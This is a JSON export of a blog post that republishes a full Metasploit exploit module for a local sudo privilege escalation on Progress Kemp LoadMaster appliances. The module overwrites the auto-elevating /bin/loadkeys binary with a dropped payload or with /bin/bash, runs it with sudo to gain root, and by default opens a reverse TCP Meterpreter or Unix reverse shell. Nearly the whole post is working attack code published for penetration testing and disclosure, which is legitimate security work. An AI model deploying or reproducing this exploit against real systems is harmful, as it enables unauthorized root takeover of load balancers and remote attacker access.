{"id":56778,"date":"2024-05-13T21:39:55","date_gmt":"2024-05-13T17:39:55","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178554\/progress_kemp_loadmaster_sudo_privesc_2024.rb.txt"},"modified":"2024-05-13T21:39:55","modified_gmt":"2024-05-13T17:39:55","slug":"kemp-loadmaster-local-sudo-privilege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/kemp-loadmaster-local-sudo-privilege-escalation\/","title":{"rendered":"Kemp LoadMaster Local sudo Privilege Escalation"},"content":{"rendered":"<p># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Local<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::EXE<br \/>include Msf::Exploit::FileDropper<br \/>include Msf::Post::File<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Kemp LoadMaster Local sudo privilege escalation&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module abuses a feature of the sudo command on Progress Kemp<br \/>LoadMaster. Certain binary files are allowed to automatically elevate<br \/>with the sudo command. This is based off of the file name. Some files<br \/>have this permission are not write-protected from the default &#8216;bal&#8217; user.<br \/>As such, if the file is overwritten with an arbitrary file, it will still<br \/>auto-elevate. This module overwrites the \/bin\/loadkeys file with another<br \/>executable.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Dave Yesland with Rhino Security Labs&#8217;,<br \/>&#8216;bwatters-r7&#8217; # module,<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/rhinosecuritylabs.com\/research\/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/kemptechnologies.com\/kemp-load-balancers&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-03-19&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>&#8216;SideEffects&#8217; =&gt; [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ]},<br \/>&#8216;SessionTypes&#8217; =&gt; [&#8216;shell&#8217;, &#8216;meterpreter&#8217;],<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Dropper&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; [ARCH_X86, ARCH_X64],<br \/>&#8216;Type&#8217; =&gt; :dropper,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/x64\/meterpreter_reverse_tcp&#8217;<br \/>}<br \/>}<br \/>],<br \/>[<br \/>&#8216;Command&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;Type&#8217; =&gt; :command,<br \/>&#8216;Payload&#8217; =&gt;<br \/>{<br \/>&#8216;BadChars&#8217; =&gt; &#8220;\\x27&#8221;,<br \/>&#8216;Compat&#8217; =&gt;<br \/>{<br \/>&#8216;PayloadType&#8217; =&gt; &#8216;cmd&#8217;,<br \/>&#8216;RequiredCmd&#8217; =&gt; &#8216;generic gawk telnet ssh echo&#8217;<br \/>}<br \/>},<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/reverse&#8217;<br \/>}<br \/>}<br \/>]],<br \/>&#8216;Privileged&#8217; =&gt; true<br \/>)<br \/>)<br \/>register_options([<br \/>OptString.new(&#8216;TARGET_BINARY&#8217;, [true, &#8216;The path for a binary file that has permission to auto-elevate.&#8217;, &#8216;\/bin\/loadkeys&#8217;]),<br \/>OptString.new(&#8216;WRITABLE_DIR&#8217;, [ true, &#8216;A directory where we can write files&#8217;, &#8216;\/tmp&#8217; ])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>score = 0<br \/>score += 1 if read_file(&#8216;\/usr\/wui\/index.js&#8217;).include?(&#8216;KEMP&#8217;)<br \/>score += 1 if read_file(&#8216;\/etc\/motd&#8217;).include?(&#8216;Kemp LoadMaster&#8217;)<br \/>score += 1 if exists?(&#8216;\/usr\/wui\/eula.kemp.html&#8217;)<br \/>vprint_status(&#8220;Found #{score} indicators this is a KEMP product&#8221;)<br \/>return CheckCode::Detected if score &gt; 0<\/p>\n<p>return CheckCode::Safe<br \/>end<\/p>\n<p>def verify_copy(src, dest, elevate)<br \/>orig_file_hash = file_remote_digestmd5(src)<br \/>vprint_status(&#8220;Moving #{src} to #{dest}&#8221;)<br \/>if elevate<br \/>output = cmd_exec(&#8220;sudo \/bin\/cp &#8216;#{src}&#8217; &#8216;#{dest}'&#8221;)<br \/>else<br \/>output = cmd_exec(&#8220;\/bin\/cp &#8216;#{src}&#8217; &#8216;#{dest}'&#8221;)<br \/>end<br \/>return true if file_remote_digestmd5(dest) == orig_file_hash<\/p>\n<p>print_bad(&#8220;Copy failed &#8211; #{output}&#8221;)<br \/>false<br \/>end<\/p>\n<p>def execute_dropper(target_binary, binary_rename, temp_payload_path)<br \/>vprint_status(&#8220;Writing payload to #{temp_payload_path}&#8221;)<br \/>write_file(temp_payload_path, generate_payload_exe)<br \/>chmod(temp_payload_path)<br \/>register_file_for_cleanup(temp_payload_path)<br \/>return unless verify_copy(target_binary, binary_rename, false)<br \/>return unless verify_copy(temp_payload_path, target_binary, true)<\/p>\n<p>vprint_status(&#8220;Running #{target_binary}&#8221;)<br \/>cmd_exec(&#8220;sudo &#8216;#{target_binary}'&#8221;)<br \/>end<\/p>\n<p>def execute_command(target_binary, binary_rename, cmd)<br \/>vprint_status(&#8216;Preparing payload command&#8217;)<br \/># save copy of target_binary<br \/>return unless verify_copy(target_binary, binary_rename, false)<br \/>return unless verify_copy(&#8216;\/bin\/bash&#8217;, target_binary, true)<\/p>\n<p>vprint_status(&#8216;Running payload command&#8217;)<br \/>vprint_status(cmd_exec(&#8220;sudo #{target_binary} -c &#8216;#{cmd}'&#8221;))<br \/>end<\/p>\n<p>def exploit<br \/>writable_dir = datastore[&#8216;WRITABLE_DIR&#8217;]if writable_dir.blank? || (writable_dir[-1] != &#8216;\/&#8217;)<br \/>writable_dir += &#8216;\/&#8217;<br \/>end<br \/>fail_with(Failure::BadConfig, &#8220;Invalid WRITABLE_DIR: #{writable_dir}&#8221;) unless directory?(writable_dir)<br \/>target_binary = datastore[&#8216;TARGET_BINARY&#8217;]binary_rename = writable_dir + &#8220;.#{Rex::Text.rand_text_alpha_lower(6..12)}&#8221;<br \/>target_binary_hash = file_remote_digestmd5(target_binary)<br \/>begin<br \/>case target[&#8216;Type&#8217;]when :dropper<br \/>temp_payload = writable_dir + &#8220;.#{Rex::Text.rand_text_alpha_lower(6..12)}&#8221;<br \/>execute_dropper(target_binary, binary_rename, temp_payload)<br \/>when :command<br \/>execute_command(target_binary, binary_rename, payload.encoded)<br \/>end<br \/>ensure<br \/>unless target_binary_hash == file_remote_digestmd5(target_binary)<br \/>cmd_exec(&#8220;sudo rm &#8216;#{target_binary}'&#8221;)<br \/>verify_copy(binary_rename, target_binary, true)<br \/>cmd_exec(&#8220;sudo rm &#8216;#{binary_rename}'&#8221;)<br \/>end<br \/>end<br \/>if target_binary_hash == file_remote_digestmd5(target_binary)<br \/>print_good(&#8220;#{target_binary} returned to original contents&#8221;)<br \/>else<br \/>print_bad(&#8220;#{target_binary} was not returned to original contents&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p># This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::LocalRank = ExcellentRanking include Msf::Exploit::EXEinclude Msf::Exploit::FileDropperinclude Msf::Post::File prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Kemp LoadMaster Local sudo privilege escalation&#8217;,&#8216;Description&#8217; =&gt; %q{This module abuses a feature of the sudo command on Progress KempLoadMaster. Certain binary files are allowed to automatically elevatewith the sudo &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56778","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56778","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56778"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56778\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56778"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56778"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56778"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}